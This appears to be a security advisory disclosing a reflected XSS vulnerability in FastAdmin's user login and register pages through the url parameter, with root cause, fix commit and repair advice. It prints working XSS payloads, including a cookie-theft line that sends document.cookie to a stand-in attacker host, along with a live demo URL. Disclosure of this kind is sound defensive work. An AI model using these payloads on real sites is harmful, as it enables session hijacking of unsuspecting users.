FastAdmin Reflected XSS Vulnerability (url Parameter)
Bug Author: lhzzz08 Affected Version: FastAdmin ≤ v1.2.0.20210401_beta (fixed in v1.2.1.20210731_beta) Vendor: FastAdminNet Software: FastAdmin on GitHub/Gitee Vulnerability Files:
application/index/controller/User.php(lines 68, 146)application/index/view/user/login.html(line 7)application/index/view/user/register.html(line 8)
Description
Reflected XSS Vulnerability in FastAdmin index/user Login and Register Pages via url Parameter
1. Reflected XSS via url Parameter
FastAdmin’s front-end user module (app\index\controller\User) accepts a url GET parameter in both the login and register endpoints. This parameter is intended to redirect users after successful authentication. In the vulnerable version, the parameter is retrieved with only a trim filter (no HTML sanitization) and assigned to the template:
application/index/controller/User.php — register() (line 68):
$url = $this->request->request('url', '', 'trim');
// ...
$this->view->assign('url', $url);
application/index/controller/User.php — login() (line 146):
$url = $this->request->request('url', '', 'trim');
// ...
$this->view->assign('url', $url);
The template then renders the value directly into a double-quoted HTML attribute with no encoding modifier:
application/index/view/user/register.html (line 8):
<input type="hidden" name="url" value="{$url}"/>
application/index/view/user/login.html (line 7):
<input type="hidden" name="url" value="{$url}"/>
ThinkPHP applies no HTML encoding when a variable is output without a modifier. The " character passes through unescaped, allowing an attacker to break out of the value attribute context and inject arbitrary HTML/JavaScript.
2. Exploiting the XSS
An unauthenticated attacker crafts a URL containing a malicious payload in the url parameter. When a victim visits the link, the payload executes in their browser.
3. Example XSS Payloads
Basic alert PoC:
"><img src=x onerror=alert(1)>
Cookie theft:
"><img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>
SVG-based:
"><svg onload=alert(document.domain)>
4. Requesting the Vulnerable Endpoint
Register page:
GET /index/user/register.html?url=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E HTTP/1.1
Host: <target>
Login page:
GET /index/user/login.html?url=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E HTTP/1.1
Host: <target>
5. Live Demo (Proof of Existence)
http://124.223.0.57:8003/index.php/index/user/register.html?url=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E

Proof of Concept
-
No authentication required. The login and register pages are publicly accessible (
$noNeedLogin = ['login', 'register', 'third']). -
Navigate to the following URL in any browser:
http://<target>/index/user/register.html?url=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E -
The page renders the payload unescaped in the
valueattribute, breaking out and executing:<input type="hidden" name="url" value=""><img src=x onerror=alert(1)>"/>A JavaScript
alert(1)dialog appears, confirming XSS execution. -
The same payload applies to the login endpoint:
http://<target>/index/user/login.html?url=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E
Root Cause
In the vulnerable version (≤ v1.2.0.20210401_beta), application/index/controller/User.php reads the url GET parameter with only a trim filter — no HTML sanitization. The value is assigned to the template where {$url} renders it directly into a double-quoted HTML attribute. ThinkPHP applies no HTML encoding when no modifier is specified, leaving " unescaped and allowing attribute context escape with arbitrary script injection. The vulnerability was fixed in commit b3d32e2 (released in v1.2.1.20210731_beta) by changing {$url} to {$url|htmlentities} in both templates.
git show b3d32e2 -- application/index/view/user/login.html

Impact
An unauthenticated remote attacker can execute arbitrary JavaScript in the browser of any user who visits a crafted link, enabling session hijacking, credential phishing, malicious redirects, and DOM-based attacks against all FastAdmin deployments that enable the user center (fastadmin.usercenter = true).
Suggested Repair
1. Add HTML encoding modifier to template output (primary fix)
Replace bare {$url} with {$url|htmlentities} in both templates:
<!-- application/index/view/user/login.html line 7 -->
<input type="hidden" name="url" value="{$url|htmlentities}"/>
<!-- application/index/view/user/register.html line 8 -->
<input type="hidden" name="url" value="{$url|htmlentities}"/>
2. Validate url parameter against an allowlist in the controller
Add input-side validation so only safe redirect paths are accepted:
// application/index/controller/User.php
$url = $this->request->request('url', '', 'trim');
if ($url && !preg_match('/^\/[a-zA-Z0-9\/_\-\.%?&=]*$/', $url)) {
$url = '';
}